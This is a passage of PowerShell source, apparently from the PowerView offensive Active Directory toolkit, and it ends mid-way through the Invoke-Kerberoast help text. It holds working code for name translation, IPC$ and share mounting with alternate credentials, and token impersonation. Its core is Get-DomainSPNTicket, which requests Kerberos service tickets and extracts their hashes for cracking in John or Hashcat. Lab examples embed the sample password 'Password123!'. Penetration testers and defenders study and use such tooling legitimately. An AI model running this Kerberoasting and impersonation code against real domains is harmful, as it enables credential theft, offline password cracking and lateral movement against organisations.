LINK) +and translates Active Directory names between various formats using the NameTranslate COM object. + +.PARAMETER Identity + +Specifies the Active Directory object name to translate, of the following form: + + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. 'pflynn' + DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format + SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' + SID Security Identifier; e.g., 'S-1-5-21-12986231-600641547-709122288-57999' + +.PARAMETER OutputType + +Specifies the output name type you want to convert to, which must be one of the following: + + DN short for 'distinguished name'; e.g., 'CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com' + Canonical canonical name; e.g., 'fabrikam.com/Engineers/Phineas Flynn' + NT4 domain\username; e.g., 'fabrikam\pflynn' + Display display name, e.g. 'pflynn' + DomainSimple simple domain name format, e.g. 'pflynn@fabrikam.com' + EnterpriseSimple simple enterprise name format, e.g. 'pflynn@fabrikam.com' + GUID GUID; e.g., '{95ee9fff-3436-11d1-b2b0-d15ae3ac8436}' + UPN user principal name; e.g., 'pflynn@fabrikam.com' + CanonicalEx extended canonical name format, e.g. 'fabrikam.com/Users/Phineas Flynn' + SPN service principal name format; e.g. 'HTTP/kairomac.contoso.com' + +.PARAMETER Domain + +Specifies the domain to use for the translation, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to for the translation. + +.PARAMETER Credential + +Specifies an alternate credential to use for the translation. + +.EXAMPLE + +Convert-ADName -Identity "TESTLAB\harmj0y" + +harmj0y@testlab.local + +.EXAMPLE + +"TESTLAB\krbtgt", "CN=Administrator,CN=Users,DC=testlab,DC=local" | Convert-ADName -OutputType Canonical + +testlab.local/Users/krbtgt +testlab.local/Users/Administrator + +.EXAMPLE + +Convert-ADName -OutputType dn -Identity 'TESTLAB\harmj0y' -Server PRIMARY.testlab.local + +CN=harmj0y,CN=Users,DC=testlab,DC=local + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm', $SecPassword) +'S-1-5-21-890171859-3433809279-3366196753-1108' | Convert-ADNAme -Credential $Cred + +TESTLAB\harmj0y + +.INPUTS + +String + +Accepts one or more objects name strings on the pipeline. + +.OUTPUTS + +String + +Outputs a string representing the converted name. + +.LINK + +http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats +https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [OutputType([String])] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name', 'ObjectName')] + [String[]] + $Identity, + + [String] + [ValidateSet('DN', 'Canonical', 'NT4', 'Display', 'DomainSimple', 'EnterpriseSimple', 'GUID', 'Unknown', 'UPN', 'CanonicalEx', 'SPN')] + $OutputType, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $NameTypes = @{ + 'DN' = 1 # CN=Phineas Flynn,OU=Engineers,DC=fabrikam,DC=com + 'Canonical' = 2 # fabrikam.com/Engineers/Phineas Flynn + 'NT4' = 3 # fabrikam\pflynn + 'Display' = 4 # pflynn + 'DomainSimple' = 5 # pflynn@fabrikam.com + 'EnterpriseSimple' = 6 # pflynn@fabrikam.com + 'GUID' = 7 # {95ee9fff-3436-11d1-b2b0-d15ae3ac8436} + 'Unknown' = 8 # unknown type - let the server do translation + 'UPN' = 9 # pflynn@fabrikam.com + 'CanonicalEx' = 10 # fabrikam.com/Users/Phineas Flynn + 'SPN' = 11 # HTTP/kairomac.contoso.com + 'SID' = 12 # S-1-5-21-12986231-600641547-709122288-57999 + } + + # accessor functions from Bill Stewart to simplify calls to NameTranslate + function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) { + $Output = $Null + $Output = $Object.GetType().InvokeMember($Method, 'InvokeMethod', $NULL, $Object, $Parameters) + Write-Output $Output + } + + function Get-Property([__ComObject] $Object, [String] $Property) { + $Object.GetType().InvokeMember($Property, 'GetProperty', $NULL, $Object, $NULL) + } + + function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) { + [Void] $Object.GetType().InvokeMember($Property, 'SetProperty', $NULL, $Object, $Parameters) + } + + # https://msdn.microsoft.com/en-us/library/aa772266%28v=vs.85%29.aspx + if ($PSBoundParameters['Server']) { + $ADSInitType = 2 + $InitName = $Server + } + elseif ($PSBoundParameters['Domain']) { + $ADSInitType = 1 + $InitName = $Domain + } + elseif ($PSBoundParameters['Credential']) { + $Cred = $Credential.GetNetworkCredential() + $ADSInitType = 1 + $InitName = $Cred.Domain + } + else { + # if no domain or server is specified, default to GC initialization + $ADSInitType = 3 + $InitName = $Null + } + } + + PROCESS { + ForEach ($TargetIdentity in $Identity) { + if (-not $PSBoundParameters['OutputType']) { + if ($TargetIdentity -match "^[A-Za-z]+\\[A-Za-z ]+") { + $ADSOutputType = $NameTypes['DomainSimple'] + } + else { + $ADSOutputType = $NameTypes['NT4'] + } + } + else { + $ADSOutputType = $NameTypes[$OutputType] + } + + $Translate = New-Object -ComObject NameTranslate + + if ($PSBoundParameters['Credential']) { + try { + $Cred = $Credential.GetNetworkCredential() + + Invoke-Method $Translate 'InitEx' ( + $ADSInitType, + $InitName, + $Cred.UserName, + $Cred.Domain, + $Cred.Password + ) + } + catch { + Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_" + } + } + else { + try { + $Null = Invoke-Method $Translate 'Init' ( + $ADSInitType, + $InitName + ) + } + catch { + Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_" + } + } + + # always chase all referrals + Set-Property $Translate 'ChaseReferral' (0x60) + + try { + # 8 = Unknown name type -> let the server do the work for us + $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity) + Invoke-Method $Translate 'Get' ($ADSOutputType) + } + catch [System.Management.Automation.MethodInvocationException] { + Write-Verbose "[Convert-ADName] Error translating '$TargetIdentity' : $($_.Exception.InnerException.Message)" + } + } + } +} + + +function ConvertFrom-UACValue { +<# +.SYNOPSIS + +Converts a UAC int value to human readable form. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +This function will take an integer that represents a User Account +Control (UAC) binary blob and will covert it to an ordered +dictionary with each bitwise value broken out. By default only values +set are displayed- the -ShowAll switch will display all values with +a + next to the ones set. + +.PARAMETER Value + +Specifies the integer UAC value to convert. + +.PARAMETER ShowAll + +Switch. Signals ConvertFrom-UACValue to display all UAC values, with a + indicating the value is currently set. + +.EXAMPLE + +ConvertFrom-UACValue -Value 66176 + +Name Value +---- ----- +ENCRYPTED_TEXT_PWD_ALLOWED 128 +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +.EXAMPLE + +Get-DomainUser harmj0y | ConvertFrom-UACValue + +Name Value +---- ----- +NORMAL_ACCOUNT 512 +DONT_EXPIRE_PASSWORD 65536 + +.EXAMPLE + +Get-DomainUser harmj0y | ConvertFrom-UACValue -ShowAll + +Name Value +---- ----- +SCRIPT 1 +ACCOUNTDISABLE 2 +HOMEDIR_REQUIRED 8 +LOCKOUT 16 +PASSWD_NOTREQD 32 +PASSWD_CANT_CHANGE 64 +ENCRYPTED_TEXT_PWD_ALLOWED 128 +TEMP_DUPLICATE_ACCOUNT 256 +NORMAL_ACCOUNT 512+ +INTERDOMAIN_TRUST_ACCOUNT 2048 +WORKSTATION_TRUST_ACCOUNT 4096 +SERVER_TRUST_ACCOUNT 8192 +DONT_EXPIRE_PASSWORD 65536+ +MNS_LOGON_ACCOUNT 131072 +SMARTCARD_REQUIRED 262144 +TRUSTED_FOR_DELEGATION 524288 +NOT_DELEGATED 1048576 +USE_DES_KEY_ONLY 2097152 +DONT_REQ_PREAUTH 4194304 +PASSWORD_EXPIRED 8388608 +TRUSTED_TO_AUTH_FOR_DELEGATION 16777216 +PARTIAL_SECRETS_ACCOUNT 67108864 + +.INPUTS + +Int + +Accepts an integer representing a UAC binary blob. + +.OUTPUTS + +System.Collections.Specialized.OrderedDictionary + +An ordered dictionary with the converted UAC fields. + +.LINK + +https://support.microsoft.com/en-us/kb/305144 +#> + + [OutputType('System.Collections.Specialized.OrderedDictionary')] + [CmdletBinding()] + Param( + [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('UAC', 'useraccountcontrol')] + [Int] + $Value, + + [Switch] + $ShowAll + ) + + BEGIN { + # values from https://support.microsoft.com/en-us/kb/305144 + $UACValues = New-Object System.Collections.Specialized.OrderedDictionary + $UACValues.Add("SCRIPT", 1) + $UACValues.Add("ACCOUNTDISABLE", 2) + $UACValues.Add("HOMEDIR_REQUIRED", 8) + $UACValues.Add("LOCKOUT", 16) + $UACValues.Add("PASSWD_NOTREQD", 32) + $UACValues.Add("PASSWD_CANT_CHANGE", 64) + $UACValues.Add("ENCRYPTED_TEXT_PWD_ALLOWED", 128) + $UACValues.Add("TEMP_DUPLICATE_ACCOUNT", 256) + $UACValues.Add("NORMAL_ACCOUNT", 512) + $UACValues.Add("INTERDOMAIN_TRUST_ACCOUNT", 2048) + $UACValues.Add("WORKSTATION_TRUST_ACCOUNT", 4096) + $UACValues.Add("SERVER_TRUST_ACCOUNT", 8192) + $UACValues.Add("DONT_EXPIRE_PASSWORD", 65536) + $UACValues.Add("MNS_LOGON_ACCOUNT", 131072) + $UACValues.Add("SMARTCARD_REQUIRED", 262144) + $UACValues.Add("TRUSTED_FOR_DELEGATION", 524288) + $UACValues.Add("NOT_DELEGATED", 1048576) + $UACValues.Add("USE_DES_KEY_ONLY", 2097152) + $UACValues.Add("DONT_REQ_PREAUTH", 4194304) + $UACValues.Add("PASSWORD_EXPIRED", 8388608) + $UACValues.Add("TRUSTED_TO_AUTH_FOR_DELEGATION", 16777216) + $UACValues.Add("PARTIAL_SECRETS_ACCOUNT", 67108864) + } + + PROCESS { + $ResultUACValues = New-Object System.Collections.Specialized.OrderedDictionary + + if ($ShowAll) { + ForEach ($UACValue in $UACValues.GetEnumerator()) { + if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)+") + } + else { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } + else { + ForEach ($UACValue in $UACValues.GetEnumerator()) { + if ( ($Value -band $UACValue.Value) -eq $UACValue.Value) { + $ResultUACValues.Add($UACValue.Name, "$($UACValue.Value)") + } + } + } + $ResultUACValues + } +} + + +function Get-PrincipalContext { +<# +.SYNOPSIS + +Helper to take an Identity and return a DirectoryServices.AccountManagement.PrincipalContext +and simplified identity. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.PARAMETER Identity + +A group SamAccountName (e.g. Group1), DistinguishedName (e.g. CN=group1,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1114), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d202), +or a DOMAIN\username identity. + +.PARAMETER Domain + +Specifies the domain to use to search for user/group principals, defaults to the current domain. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True)] + [Alias('GroupName', 'GroupIdentity')] + [String] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + + try { + if ($PSBoundParameters['Domain'] -or ($Identity -match '.+\\.+')) { + if ($Identity -match '.+\\.+') { + # DOMAIN\groupname + $ConvertedIdentity = $Identity | Convert-ADName -OutputType Canonical + if ($ConvertedIdentity) { + $ConnectTarget = $ConvertedIdentity.SubString(0, $ConvertedIdentity.IndexOf('/')) + $ObjectIdentity = $Identity.Split('\')[1] + Write-Verbose "[Get-PrincipalContext] Binding to domain '$ConnectTarget'" + } + } + else { + $ObjectIdentity = $Identity + Write-Verbose "[Get-PrincipalContext] Binding to domain '$Domain'" + $ConnectTarget = $Domain + } + + if ($PSBoundParameters['Credential']) { + Write-Verbose '[Get-PrincipalContext] Using alternate credentials' + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget, $Credential.UserName, $Credential.GetNetworkCredential().Password) + } + else { + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $ConnectTarget) + } + } + else { + if ($PSBoundParameters['Credential']) { + Write-Verbose '[Get-PrincipalContext] Using alternate credentials' + $DomainName = Get-Domain | Select-Object -ExpandProperty Name + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain, $DomainName, $Credential.UserName, $Credential.GetNetworkCredential().Password) + } + else { + $Context = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext -ArgumentList ([System.DirectoryServices.AccountManagement.ContextType]::Domain) + } + $ObjectIdentity = $Identity + } + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'Context' $Context + $Out | Add-Member Noteproperty 'Identity' $ObjectIdentity + $Out + } + catch { + Write-Warning "[Get-PrincipalContext] Error creating binding for object ('$Identity') context : $_" + } +} + + +function Add-RemoteConnection { +<# +.SYNOPSIS + +Pseudo "mounts" a connection to a remote path using the specified +credential object, allowing for access of remote resources. If a -Path isn't +specified, a -ComputerName is required to pseudo-mount IPC$. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses WNetAddConnection2W to make a 'temporary' (i.e. not saved) connection +to the specified remote -Path (\\UNC\share) with the alternate credentials specified in the +-Credential object. If a -Path isn't specified, a -ComputerName is required to pseudo-mount IPC$. + +To destroy the connection, use Remove-RemoteConnection with the same specified \\UNC\share path +or -ComputerName. + +.PARAMETER ComputerName + +Specifies the system to add a \\ComputerName\IPC$ connection for. + +.PARAMETER Path + +Specifies the remote \\UNC\path to add the connection for. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +$Cred = Get-Credential +Add-RemoteConnection -ComputerName 'PRIMARY.testlab.local' -Credential $Cred + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Add-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' -Credential $Cred + +.EXAMPLE + +$Cred = Get-Credential +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Add-RemoteConnection -Credential $Cred +#> + + [CmdletBinding(DefaultParameterSetName = 'ComputerName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName, + + [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] + [ValidatePattern('\\\\.*\\.*')] + [String[]] + $Path, + + [Parameter(Mandatory = $True)] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential + ) + + BEGIN { + $NetResourceInstance = [Activator]::CreateInstance($NETRESOURCEW) + $NetResourceInstance.dwType = 1 + } + + PROCESS { + $Paths = @() + if ($PSBoundParameters['ComputerName']) { + ForEach ($TargetComputerName in $ComputerName) { + $TargetComputerName = $TargetComputerName.Trim('\') + $Paths += ,"\\$TargetComputerName\IPC$" + } + } + else { + $Paths += ,$Path + } + + ForEach ($TargetPath in $Paths) { + $NetResourceInstance.lpRemoteName = $TargetPath + Write-Verbose "[Add-RemoteConnection] Attempting to mount: $TargetPath" + + # https://msdn.microsoft.com/en-us/library/windows/desktop/aa385413(v=vs.85).aspx + # CONNECT_TEMPORARY = 4 + $Result = $Mpr::WNetAddConnection2W($NetResourceInstance, $Credential.GetNetworkCredential().Password, $Credential.UserName, 4) + + if ($Result -eq 0) { + Write-Verbose "$TargetPath successfully mounted" + } + else { + Throw "[Add-RemoteConnection] error mounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" + } + } + } +} + + +function Remove-RemoteConnection { +<# +.SYNOPSIS + +Destroys a connection created by New-RemoteConnection. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses WNetCancelConnection2 to destroy a connection created by +New-RemoteConnection. If a -Path isn't specified, a -ComputerName is required to +'unmount' \\$ComputerName\IPC$. + +.PARAMETER ComputerName + +Specifies the system to remove a \\ComputerName\IPC$ connection for. + +.PARAMETER Path + +Specifies the remote \\UNC\path to remove the connection for. + +.EXAMPLE + +Remove-RemoteConnection -ComputerName 'PRIMARY.testlab.local' + +.EXAMPLE + +Remove-RemoteConnection -Path '\\PRIMARY.testlab.local\C$\' + +.EXAMPLE + +@('PRIMARY.testlab.local','SECONDARY.testlab.local') | Remove-RemoteConnection +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding(DefaultParameterSetName = 'ComputerName')] + Param( + [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ComputerName', ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName, + + [Parameter(Position = 0, ParameterSetName = 'Path', Mandatory = $True)] + [ValidatePattern('\\\\.*\\.*')] + [String[]] + $Path + ) + + PROCESS { + $Paths = @() + if ($PSBoundParameters['ComputerName']) { + ForEach ($TargetComputerName in $ComputerName) { + $TargetComputerName = $TargetComputerName.Trim('\') + $Paths += ,"\\$TargetComputerName\IPC$" + } + } + else { + $Paths += ,$Path + } + + ForEach ($TargetPath in $Paths) { + Write-Verbose "[Remove-RemoteConnection] Attempting to unmount: $TargetPath" + $Result = $Mpr::WNetCancelConnection2($TargetPath, 0, $True) + + if ($Result -eq 0) { + Write-Verbose "$TargetPath successfully ummounted" + } + else { + Throw "[Remove-RemoteConnection] error unmounting $TargetPath : $(([ComponentModel.Win32Exception]$Result).Message)" + } + } + } +} + + +function Invoke-UserImpersonation { +<# +.SYNOPSIS + +Creates a new "runas /netonly" type logon and impersonates the token. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses LogonUser() with the LOGON32_LOGON_NEW_CREDENTIALS LogonType +to simulate "runas /netonly". The resulting token is then impersonated with +ImpersonateLoggedOnUser() and the token handle is returned for later usage +with Invoke-RevertToSelf. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object with alternate credentials +to impersonate in the current thread space. + +.PARAMETER TokenHandle + +An IntPtr TokenHandle returned by a previous Invoke-UserImpersonation. +If this is supplied, LogonUser() is skipped and only ImpersonateLoggedOnUser() +is executed. + +.PARAMETER Quiet + +Suppress any warnings about STA vs MTA. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Invoke-UserImpersonation -Credential $Cred + +.OUTPUTS + +IntPtr + +The TokenHandle result from LogonUser. +#> + + [OutputType([IntPtr])] + [CmdletBinding(DefaultParameterSetName = 'Credential')] + Param( + [Parameter(Mandatory = $True, ParameterSetName = 'Credential')] + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential, + + [Parameter(Mandatory = $True, ParameterSetName = 'TokenHandle')] + [ValidateNotNull()] + [IntPtr] + $TokenHandle, + + [Switch] + $Quiet + ) + + if (([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') -and (-not $PSBoundParameters['Quiet'])) { + Write-Warning "[Invoke-UserImpersonation] powershell.exe is not currently in a single-threaded apartment state, token impersonation may not work." + } + + if ($PSBoundParameters['TokenHandle']) { + $LogonTokenHandle = $TokenHandle + } + else { + $LogonTokenHandle = [IntPtr]::Zero + $NetworkCredential = $Credential.GetNetworkCredential() + $UserDomain = $NetworkCredential.Domain + $UserName = $NetworkCredential.UserName + Write-Warning "[Invoke-UserImpersonation] Executing LogonUser() with user: $($UserDomain)\$($UserName)" + + # LOGON32_LOGON_NEW_CREDENTIALS = 9, LOGON32_PROVIDER_WINNT50 = 3 + # this is to simulate "runas.exe /netonly" functionality + $Result = $Advapi32::LogonUser($UserName, $UserDomain, $NetworkCredential.Password, 9, 3, [ref]$LogonTokenHandle);$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); + + if (-not $Result) { + throw "[Invoke-UserImpersonation] LogonUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + } + + # actually impersonate the token from LogonUser() + $Result = $Advapi32::ImpersonateLoggedOnUser($LogonTokenHandle) + + if (-not $Result) { + throw "[Invoke-UserImpersonation] ImpersonateLoggedOnUser() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + + Write-Verbose "[Invoke-UserImpersonation] Alternate credentials successfully impersonated" + $LogonTokenHandle +} + + +function Invoke-RevertToSelf { +<# +.SYNOPSIS + +Reverts any token impersonation. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +This function uses RevertToSelf() to revert any impersonated tokens. +If -TokenHandle is passed (the token handle returned by Invoke-UserImpersonation), +CloseHandle() is used to close the opened handle. + +.PARAMETER TokenHandle + +An optional IntPtr TokenHandle returned by Invoke-UserImpersonation. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +$Token = Invoke-UserImpersonation -Credential $Cred +Invoke-RevertToSelf -TokenHandle $Token +#> + + [CmdletBinding()] + Param( + [ValidateNotNull()] + [IntPtr] + $TokenHandle + ) + + if ($PSBoundParameters['TokenHandle']) { + Write-Warning "[Invoke-RevertToSelf] Reverting token impersonation and closing LogonUser() token handle" + $Result = $Kernel32::CloseHandle($TokenHandle) + } + + $Result = $Advapi32::RevertToSelf();$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error(); + + if (-not $Result) { + throw "[Invoke-RevertToSelf] RevertToSelf() Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + + Write-Verbose "[Invoke-RevertToSelf] Token impersonation successfully reverted" +} + + +function Get-DomainSPNTicket { +<# +.SYNOPSIS + +Request the kerberos ticket for a specified service principal name (SPN). + +Author: machosec, Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf + +.DESCRIPTION + +This function will either take one/more SPN strings, or one/more PowerView.User objects +(the output from Get-DomainUser) and will request a kerberos ticket for the given SPN +using System.IdentityModel.Tokens.KerberosRequestorSecurityToken. The encrypted +portion of the ticket is then extracted and output in either crackable John or Hashcat +format (deafult of John). + +.PARAMETER SPN + +Specifies the service principal name to request the ticket for. + +.PARAMETER User + +Specifies a PowerView.User object (result of Get-DomainUser) to request the ticket for. + +.PARAMETER OutputFormat + +Either 'John' for John the Ripper style hash formatting, or 'Hashcat' for Hashcat format. +Defaults to 'John'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote domain using Invoke-UserImpersonation. + +.EXAMPLE + +Get-DomainSPNTicket -SPN "HTTP/web.testlab.local" + +Request a kerberos service ticket for the specified SPN. + +.EXAMPLE + +"HTTP/web1.testlab.local","HTTP/web2.testlab.local" | Get-DomainSPNTicket + +Request kerberos service tickets for all SPNs passed on the pipeline. + +.EXAMPLE + +Get-DomainUser -SPN | Get-DomainSPNTicket -OutputFormat Hashcat + +Request kerberos service tickets for all users with non-null SPNs and output in Hashcat format. + +.INPUTS + +String + +Accepts one or more SPN strings on the pipeline with the RawSPN parameter set. + +.INPUTS + +PowerView.User + +Accepts one or more PowerView.User objects on the pipeline with the User parameter set. + +.OUTPUTS + +PowerView.SPNTicket + +Outputs a custom object containing the SamAccountName, ServicePrincipalName, and encrypted ticket section. +#> + + [OutputType('PowerView.SPNTicket')] + [CmdletBinding(DefaultParameterSetName = 'RawSPN')] + Param ( + [Parameter(Position = 0, ParameterSetName = 'RawSPN', Mandatory = $True, ValueFromPipeline = $True)] + [ValidatePattern('.*/.*')] + [Alias('ServicePrincipalName')] + [String[]] + $SPN, + + [Parameter(Position = 0, ParameterSetName = 'User', Mandatory = $True, ValueFromPipeline = $True)] + [ValidateScript({ $_.PSObject.TypeNames[0] -eq 'PowerView.User' })] + [Object[]] + $User, + + [ValidateSet('John', 'Hashcat')] + [Alias('Format')] + [String] + $OutputFormat = 'John', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $Null = [Reflection.Assembly]::LoadWithPartialName('System.IdentityModel') + + if ($PSBoundParameters['Credential']) { + $LogonToken = Invoke-UserImpersonation -Credential $Credential + } + } + + PROCESS { + if ($PSBoundParameters['User']) { + $TargetObject = $User + } + else { + $TargetObject = $SPN + } + + ForEach ($Object in $TargetObject) { + if ($PSBoundParameters['User']) { + $UserSPN = $Object.ServicePrincipalName + $SamAccountName = $Object.SamAccountName + $DistinguishedName = $Object.DistinguishedName + } + else { + $UserSPN = $Object + $SamAccountName = 'UNKNOWN' + $DistinguishedName = 'UNKNOWN' + } + + # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3 + if ($UserSPN -is [System.DirectoryServices.ResultPropertyValueCollection]) { + $UserSPN = $UserSPN[0] + } + + try { + $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + } + catch { + Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" + } + if ($Ticket) { + $TicketByteStream = $Ticket.GetRequest() + } + if ($TicketByteStream) { + $TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-' + [System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201' + $Parts.RemoveAt($Parts.Count - 1) + $Hash = $Parts -join 'A48201' + $Hash = $Hash.Insert(32, '$') + + $Out = New-Object PSObject + $Out | Add-Member Noteproperty 'SamAccountName' $SamAccountName + $Out | Add-Member Noteproperty 'DistinguishedName' $DistinguishedName + $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName + + if ($OutputFormat -match 'John') { + $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" + } + else { + if ($DistinguishedName -ne 'UNKNOWN') { + $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + else { + $UserDomain = 'UNKNOWN' + } + + # hashcat output format + $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" + } + $Out | Add-Member Noteproperty 'Hash' $HashFormat + $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') + Write-Output $Out + } + } + } + + END { + if ($LogonToken) { + Invoke-RevertToSelf -TokenHandle $LogonToken + } + } +} + + +function Invoke-Kerberoast { +<# +.SYNOPSIS + +Requests service tickets for kerberoast-able accounts and returns extracted ticket hashes. + +Author: Will Schroeder (@harmj0y), @machosec +License: BSD 3-Clause +Required Dependencies: Invoke-UserImpersonation, Invoke-RevertToSelf, Get-DomainUser, Get-DomainSPNTicket + +.DESCRIPTION + +Uses Get-DomainUser to query for user accounts with non-null service principle +names (SPNs) and uses Get-SPNTicket to request/extract the crackable ticket information. +The ticket format can be specified with -OutputFormat . + +.PARAMETER Identity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201). +Wildcards accepted. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + 